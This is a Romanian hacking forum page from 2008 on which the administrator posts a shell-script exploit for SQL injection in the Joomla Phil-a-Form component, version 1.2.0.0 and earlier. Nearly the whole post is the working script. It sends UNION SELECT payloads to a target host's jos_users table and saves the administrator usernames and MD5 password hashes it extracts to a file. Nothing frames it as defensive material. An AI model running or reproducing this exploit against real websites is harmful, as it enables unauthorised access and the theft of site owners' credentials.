spamers.tk Pagina de start a forumului spamers.tk FAQ Cautare Membri Grupuri Profil Inregistrare Mesaje private Autentificare
Joomla Component Phil-a-Form<= 1.2.0.0 SQL Injection Expl

 
Creaza un subiect nou   Raspunde la subiect    Pagina de start a forumului spamers.tk -> Programe Hacking
Subiectul anterior :: Subiectul urmator  
Autor Mesaj
good
Administrator
Administrator
good

Data inscrierii: 22/Aug/2008
Mesaje: 134

MesajTrimis: 24/08/2008 20:02    Titlul subiectului: Joomla Component Phil-a-Form<= 1.2.0.0 SQL Injection Expl Raspunde cu citat (quote)

Cod:
#!/bin/sh

#################################################################################
#                                        #
#    Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit        #
#                                        #
# Discovered by: Cody "CypherXero" Rester                    #
# Payload: Admin Username and MD5 Hash Retrieval                #
# Website: http://www.cypherxero.net                        #
# Shoutouts to the milw0rm community, the PIMP forums                #
# and my blog, of course                               #
#                                        #
#################################################################################

echo "-------------------------------------------------------------------------"
echo "      Joomla Component Phil-a-Form <= 1.2.0.0 SQL Injection Exploit"
echo "-------------------------------------------------------------------------"
echo "Usage: sql_philaform_jos.sh [HOST] [FORM_ID]"
echo "[HOST] = Hostname of targetwebsite"
echo "[FORM_ID] = Form ID of Phil-a-Form post"
echo "e.g. sql_philaform_jos.sh http://www.targethost.com 2"
echo "-------------------------------------------------------------------------"
echo "                           Cody CypherXero Rester"
echo "                     http://www.cypherxero.net"
echo "-------------------------------------------------------------------------"

jos_username="%20UNION%20SELECT%20null,null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
jos_password="%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20jos_users%20--"
host="$1"
form_id="$2"

if [ "$form_id" == "" ]
then
echo "Syntax not correct! See usage example!"
exit 1
else
echo ""
fi

echo "Username" > $host.txt
echo "--------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_username" | grep -i "philaform_" | awk -F_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt
echo " " >> $host.txt
echo "MD5 Password Hash" >> $host.txt
echo "-----------------" >> $host.txt
links -dump "http://$host/index.php?option=com_philaform&form_id=$form_id$jos_password" | grep -i "philaform_" | awk -F_ '{ print $2 }' | awk '{ print $1 }' >> $host.txt

echo ""
cat $host.txt

exit 0
Sus
Vezi profilul utilizatorului Trimite mesaj privat
Afiseaza mesajele pentru a le previzualiza:   
Creaza un subiect nou   Raspunde la subiect    Pagina de start a forumului spamers.tk -> Programe Hacking Ora este GMT + 2 ore
Pagina 1 din 1

 
Mergi direct la:  
Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum


Powered by phpBB © 2001, 2002 phpBB Group
Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro